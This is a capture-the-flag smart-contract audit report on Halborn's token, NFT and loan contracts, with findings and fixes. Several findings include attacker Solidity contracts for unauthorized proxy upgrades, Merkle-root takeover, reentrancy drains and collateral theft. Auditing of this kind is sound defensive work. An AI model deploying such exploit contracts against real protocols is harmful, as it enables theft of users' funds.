Halborn CTF Audit Report

Version 1.0

L.Petroulakis

March 22, 2024

Halborn CTF audit report

L.Petroulakis

March 22, 2024

Prepared by: L.Petroulakis Lead Auditors: - L.Petroulakis

Table of Contents

  - [H-4] Lack of upgrade access control in `HalbornNFT::_authorizeUpgrade` allows for unauthorized contract upgrades.
  - [H-5] Incorrect logic in `HalbornLoans::getLoan` breaks protocol functionality by not enforcing the correct conditions for loan retrieval.
  - [H-6] Reentrancy in `HalbornLoans::withdrawCollateral` can drain the protocol from funds.
  - [H-7] Logical error in `HalbornLoans::returnLoan` adds the amount to the `usedCollateral` instead of subtracting it.
  - [H-8] Missing access control in `HalbornLoans::_authorizeUpgrade`.
  - [H-9] Subpar Collateral management in `HalbornLoans` can lead to under-collateralization.
- Medium
  - [M-1] Potential Denial of Service attack in `HalbornNFT::mintBuyWithETH` can lead to restricting legitimate users from minting due to absurd gas costs.

Protocol Summary

- `HalbornToken` is an ERC20 token contract that utilizes OZ'supgradeable contracts to ensure future upgradeability. It serves as the utility token for the Halborn ecosystem and enables the most basic operations like transfer, mint, and burn.
- `HalbornNFT` is an ERC721 contract that handles the minting, transfer, and ownership of the ecosystem's NFTs. It also includes airdrop functionality and Merkle root verification, while also being upgradeable.
- `HalbornLoans` is a contract that allows users to deposit NFTs as collateral and take out loans in the form of the protocol's native token. It also includes functions for withdrawing collateral and returning loans, as well as being upgradeable.

Disclaimer

All effort was made to find as many critical and high vulnerabilities in the code in the limited time period I had, and I tried to be as economically savvy as I could. Please keep in mind that this was done in the limited time-frame of three days as I am currently employed full-time in the Intelligence sector and I am working for NATO and my government. Please note that, as instructed by the readme.md of the CTF, i devoted no time to list vulnerabilities of much lesser effect, and that there will be no mention of gas optimizations and informational findings.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

Scope

The following contracts are in scope: - HalbornToken.sol - HalbornNFT.sol - HalbornLoans.sol

Roles

Executive Summary

Issues found

Findings

High

[H-1] Missing role based access control for contract upgrades has the owner as the unilateral decision maker for upgrades.

Description The `HalbornToken::_authorizeUpgrade` function has the `override` modifier and does not implement any kind of access control logic. This means that a malicious faction can unilaterally decide to upgrade the contract without any kind of checks or balances.

Impact Any address that has the ability to call the upgrade function can change the contract's implementation to a new one. On one hand, there is no access control like the `onlyOwner` modifier, and on the other hand, there seems to be no specific role capable of authorizing upgrades.

```
function _authorizeUpgrade(address) internal override {}
```

Proof of Concept

1. Deployment: The malicious faction deploys their `MaliciousHalbornToken.sol` and `AttackUpgradeContract.sol` contracts while giving the address of `HalbornToken` to the `AttackUpgradeContract` constructor.
2. Execution: The malicious faction calls the `attack` function of `AttackUpgradeContract` with the address of `MaliciousHalbornToken` as the argument. As the `HalbornToken` contract lacks proper role-based access control, the upgrade will be successful.

Proof of Code

We will suppose a scenario that invlonves an attacker's deployment of a malicious contract that will become the implementation of the `HalbornToken` contract. The attacker will then call the `_authorizeUpgrade` function to upgrade the contract to the malicious one.

1. We create the malicious contract to implement.

```
contract MaliciousHalbornToken is HalbornToken {
    function functionWithLogicToDrainTheContract() external {
        // attacker logic
    }
}
```

2. We deploy the exploitation contract that will call the upgrade function of `HalbornToken` and will set `MaliciousHalbornToken` as the new implementation.

```
interface Proxy {
    function upgradeTo(address newImplementation) external;
}

contract AttackUpgradeContract {
    Proxy public proxy;
    address public owner;

    constructor(address _proxyAddress) {
        proxy = Proxy(_proxyAddress);
    }

    function attack(address _maliciousImplementation) external {
        proxy.upgradeTo(_maliciousImplementation);
    }
}
```

Recommended mitigation

Consider implementing RBAC in the `_authorizeUpgrade` function to ensude that only authorized addresses can perform upgrdes to the protocol. A good solution is using OpenZeppelin's `AccessControl` or `Ownable` contracts to provide such functionality securely.

```
+ import "@openzeppelin/contracts/access/Ownable.sol";
- function _authorizeUpgrade(address) internal override {}
+ function _authorizeUpgrade(address) internal override onlyOwner {
    super._authorizeUpgrade(bewImplementationAddress);
}
```

[H-2] Wrongful Require statement in `HalbornNFT::minAirdrops` provides the opposite requirement and does not reflect the condition that needs to be fulfilled.

Description In the `mintAirdrops` function the following snipet is found:

```
        require(_exists(id), "Token already minted");
```

This require statement is misleading as it should be the opposite. The condition should be that the token does not exist in order to mint it.

Impact The current implementation allows for the minting of tokens that already exist. This is a critical issue as it can lead to the minting of tokens that are already in circulation.

Proof of Concept The function should be rejecting the execution if the token has already been minted, aligning with a common use case in airdrop scenarios where each token (hence each id) is unique and should only be minted once.

Recommended mitigation

Consider changing the require statement to reflect the correct condition that needs to be fulfilled in order to mint a token.

```
- require(_exists(id), "Token already minted");
+ require(!_exists(id), "Token already minted");
```

[H-3] In `HalbornNFT::setMerkleRoot`, the public setter makes the function publicly accessible, allowing anyone to change the Merkle root, compromising the integrity of the protocol's airdrop mechanism.

Description The `setMerkleRoot` function is designed to update the MerkleRoot used in the contract to verify that a user is eligible to mint an airdrop.

```
function setMerkleRoot(bytes32 _merkleRoot) public {
    merkleRoot = _merkleRoot;
```

```
3 }
```

Impact Since the function is public, anyone can call it and change the MerkleRoot, compromising the integrity of the airdrop mechanism.

Proof of Concept An attacker can deploy a contract that calls the `setMerkleRoot` function with a new, malicious MerkleRoot, effectively allowing them to mint tokens for themselves, as they will be able to generate valid Merkle proof for unauthorized minting.

Proof of Code Consider a contract created by the attacker that is designed to change the MerkleRoot to a malicious one.

```
1 interface IhalbornNFT {
2     function setMerkleRoot(bytes32 _merkleRoot) external;
3 }
4
5 contract AttackSetMerkleRoot {
6     function attack(address halbornNFTaddress, bytes32
          _maliciousMerkleRoot) external {
7         IhalbornNFT(halbornNFTaddress).setMerkleRoot(
              _maliciousMerkleRoot);
8     }
9 }
```

Recommended mitigation Consider using mechanisms that enforce access control and ensure that only authorized addresses can update the Merkle Root.

```
1 + import "@openzeppelin/contracts/access/OwnableUpgradeable.sol";
2 - function setMerkleRoot(bytes32 _merkleRoot) public {
3 + function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
```

[H-4] Lack of upgrade access control in `HalbornNFT::_authorizeUpgrade` allows for unauthorized contract upgrades.

Description Like in `HalbornToken` in [H-1] above, the `HalbornNFT::_authorizeUpgrade` function has the `override` modifier and does not implement any kind of access control logic. This means that a malicious faction can unilaterally decide to upgrade the contract without any kind of checks or balances.

Impact Any address that has the ability to call the upgrade function can change the contract's implementation to a new one. On one hand, there is no access control like the `onlyOwner` modifier, and on the other hand, there seems to be no specific role capable of authorizing upgrades.

```
1 function _authorizeUpgrade(address) internal override {}
```

Proof of Concepts Please refer to [H-1] for the proof of concept.

Recommended mitigation Please refer to [H-1] for the recommended mitigation.

[H-5] Incorrect logic in `HalbornLoans::getLoan` breaks protocol functionality by not enforcing the correct conditions for loan retrieval.

Description The `getLoan` function in `HalbornLoans` is designed to retrieve a loan from the protocol. However, the function does not enforce the correct conditions for loan retrieval. The condition should be ensuring that there is enough collateral to cover the loan amount, but the current implementation mistakenly checks for less than instead of equal or greater than, critically impacting the protocol's functionality and leading to potential losses.

Impact The wrongful checks produced by the incorrect logic in `getLoan` can lead to the retrieval of loans without the necessary collateral, breaking the protocol's functionality and potentially leading to financial losses.

Proof of Concept

The function is written as follows:

```
1 require(totalCollateral[msg.sender] - usedCollateral[msg.sender] <
      amount, "Not enough collateral");
```

The mathematical expression needs to be inverted.

Recommended mitigation

Consider changing the require statement to reflect the correct condition that needs to be fulfilled in order to retrieve a loan.

```
1 - require(totalCollateral[msg.sender] - usedCollateral[msg.sender] <
      amount, "Not enough collateral");
2 + require(totalCollateral[msg.sender] - usedCollateral[msg.sender] >=
      amount, "Not enough collateral");
```

[H-6] Reentrancy in `HalbornLoans::withdrawCollateral` can drain the protocol from funds.

Description In the `withdrawCollateral` function, the protocol allows users to withdraw their collateral. However, the function is vulnerable to reentrancy attacks, as it makes an external call before updating state, thus not following the Checks-Effects-Interactions pattern which is crucial for preventing reentrancy attacks.

Impact An attacker can exploit the reentrancy vulnerability in the `withdrawCollateral` function to drain the protocol by repeatedly calling `nft.safeTransferFrom()`.

Proof of Concept An attacker may deploy a contract which will deposit an NFT they own as collateral to the `HalbornLoans` contract, and then they will try to withdraw it. The attacker's contract might employ a function similar to `onERC721Received`, which is automatically called upon receiving the NFT and then re-enter `HalbornLoans` by calling `withdrawCollateral` before the completion of the first withdrawal.

Proof of Code

Imagine a scenario in which something resembling the following is used.

```
contract attackContract {
    HalbornLoans public halbornLoans;
    HalbornNFT public halbornNFT;
    uint256 public exploitId;

    constructor{address _halbornLoans, address _halbornNFT, uint256
        _exploitId} {
        halbornLoans = HalbornLoans(_halbornLoans);
        halbornNFT = HalbornNFT(_halbornNFT);
        exploitId = _exploitId;
    }

    receive() external payable {}

    function attackHalbornLoans() external {
        halbornNFT.approve(address(halbornLoans), exploitId); //
            approve the NFT to be used as collateral
        halbornLoans.depositNFTCollateral(exploitId); // deposit the
            NFT as collateral
        halbornLoans.withdrawCollateral(exploitId); // withdraw the NFT
             and trigger reentrancy
    }

    // the following is called by `HalbornNFT::safeTransferFrom` during
         the attack.
    function onERC721Received(address , address , uint256 _tokenId,
        bytes calldata) external returns(bytes4) {
        if (address(halbornLoans) == msg.sender) {
            halbornLoans.withdrawCollateral(_tokenId); // re-enter the
                `HalbornLoans` contract
        }
        return this.onERC721Received.selector;
    }
}
```

Recommended mitigation

To prevent reentrancy, first we will have to consider the Checks-Effects-Interactions pattern. This pattern ensures that all state changes are made before any external calls are made. In this case, the `withdrawCollateral` function should be updated. As an additional measure, consider using the `ReentrancyGuard` contract from OpenZeppelin to protect the function from reentrancy attacks.

```
+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
.
.
.
- function withdrawCollateral(uint256 _tokenId) public {
+ function withdrawCollateral(uint256 _tokenId) public nonReentrant {
        require(
            totalCollateral[msg.sender] - usedCollateral[msg.sender] >=
                collateralPrice,
            "Collateral unavailable"
        );
        require(idsCollateral[id] == msg.sender, "ID not deposited by
           caller");

-       nft.safeTransferFrom(address(this), msg.sender, id);
        totalCollateral[msg.sender] -= collateralPrice;
        delete idsCollateral[id];
+       nft.safeTransferFrom(address(this), msg.sender, id);
    }
```

[H-7] Logical error in `HalbornLoans::returnLoan` adds the amount to the `usedCollateral` instead of subtracting it.

Description In the `returnLoan` function, the protocol allows users to return their loans. However, the function contains a logical error that adds the amount to the `usedCollateral` instead of subtracting it, which means that the collateral used is increased instead of being freed up after loan repayments.

Proof of Concept The logic is simply incorrect and financially dangerous. The logical error in `returnLoan` can lead to the protocol incorrectly calculating the amount of collateral used, which can lead to users being unable to retrieve their collateral after repaying their loans.

Recommended mitigation The following change in the code must be made.

```
- usedCollateral[msg.sender] += amount;
+ usedCollateral[msg.sender] -= amount;
```

[H-8] Missing access control in `HalbornLoans::_authorizeUpgrade`.

Description As mentioned in [H-1] and [H-4], the `_authorizeUpgrade` function in `HalbornLoans` lacks access control.

Impact Please refer to [H-1] and [H-4] for the impact.

Proof of Concept Please refer to [H-1] and [H-4] for the proof of concept.

Recommended mitigation Please refer to [H-1] and [H-4] for the recommended mitigation.

[H-9] Subpar Collateral management in `HalbornLoans` can lead to under-collateralization.

Description The `HalbornLoans` contract has a critical issue in the way it manages collateral. It allows users to deposit NFTs as collateral for loans, but at the same time does not check for financially sound parameters like outstanding loans, or if an NFT is already used as collateral. This can lead to under-collateralization of the protocol.

Proof of Concept To understand this concept better we shall imagine a scenario where this vulnerability is exploited.

1. A user deposits an NFT as collateral for a loan.
2. The user then takes out a loan with the NFT as collateral.
3. Without repaying the loan, the user withdraws the NFT collateral.
4. The loan remains outstanding, and the collateral NFT is no longer in the protocol's possession.

Proof of Code The following code snippet from an attack contract shows a potential way to attack the vulnerability.

```
1
2  interface IHalbornLoans {
3      function depositNFTCollateral(uint256 id) external;
4      function getLoan(uint256 _amount) external;
5      function withdrawCollateral(uint256 id) external;}
6
7  interface IERC721 {
8      function approve(address to, uint256 tokenId) external;}
9
10 contract exploitHalbornLoans {
11     IHalbornLoans public halbornLoans;
12     IERC721 public nft;
13     uint256 public exploitId;
14
15     constructor(address _halbornLoans, address _nft, uint256 _exploitId
           ) {
16         halbornLoans = IHalbornLoans(_halbornLoans);
17         nft = IERC721(_nft);
18         exploitId = _exploitId;
19     }
20
21     function attackHalbornLoans() external {
22         nft.approve(address(halbornLoans), exploitId);
```

```
        halbornLoans.depositNFTCollateral(exploitId);
        halbornLoans.getLoan(1000);
        halbornLoans.withdrawCollateral(exploitId);
    }
}
```

Recommended mitigation Consider implementing a more robust collateral management system that will adjust `withdrawCollateral` and check for outstanding loans and ensure that an NFT is not used as collateral for multiple loans.

```
function withdrawCollateral(uint256 Id) public {
// maybe add something like this
+require(usedCollateral[msg.sender] == 0, "Cannot withdraw collateral
    with outstanding loans");
require(idsCollateral[id] == msg.sender, "ID not deposited by caller");
require(totalCollateral[msg.sender] - usedCollateral[msg.sender] >=
    collateralPrice, "Collateral unavailable");

totalCollateral[msg.sender] -= collateralPrice;
delete idsCollateral[id];

nft.safeTransferFrom(address(this), msg.sender, id);
}
```

Medium

[M-1] Potential Denial of Service attack in `HalbornNFT::mintBuyWithETH` can lead to restricting legitimate users from minting due to absurd gas costs.

Description The `mintBuyWithETH` function allows users to mint NFTs by sending the correct amount of ETH to the contract. Its vulnerability stems from the fact that it relies on the `price` variable and its unchecked `idCounter`. In cases when the price is relatively low, an attacker can potentially exhaust the contract's ability to mint NFTs, introducing a DoS condition for legitimate addresses.

Impact An attacker could potentially successively mint a large number of NFTs, rapidly increasing the `idCounter`, potentially exhausting the contract's NFT supply. That can severely impact the number of legitimate users being able to mint new NFTs.

Proof of Concept An attacker can deploy a DoS contract that will attack `HalbornNFT` and set a high value for the number of times their contract will mint NFTs, sending enough ETH to cover the costs. The `idCounter` rapidly increases, also potentially increasing gas costs, thus making it economically unfeasible for legitimate users to mint NFTs.

Proof of Code

Imagine a scenario in which something resembling the following is used.

```
interface IHalbornNFT {
    function mintBuyWithETH() external payable;
}
contract DosAttackOnHalbornNFT {
    IHalbornNFT public halbornNFT;

    constructor(address _halbornNFT) {
        halbornNFT = IHalbornNFT(_halbornNFT);
    }
    // the following funtion will be used to repeatedly mint NFTs for
       the attacker
    function attack(uint256 numberOfAttacks) external payable{
        uint256 mintPrice = msg.value / numberOfAttacks;
        for (uint256 i = 0; i < numberOfAttacks; i++) {
            halbornNFT.mintBuyWithETH{value: mintPrice}();
        }
    }
}
```

Recommended mitigation Consider adding mechanisms that can limit the frequency of minting NFTs, like a cooldown period. Additionally, one could consider to increase the price of minting with each successive mint from the same address, thus making it economically unfeasible for an attacker to perform a DoS attack.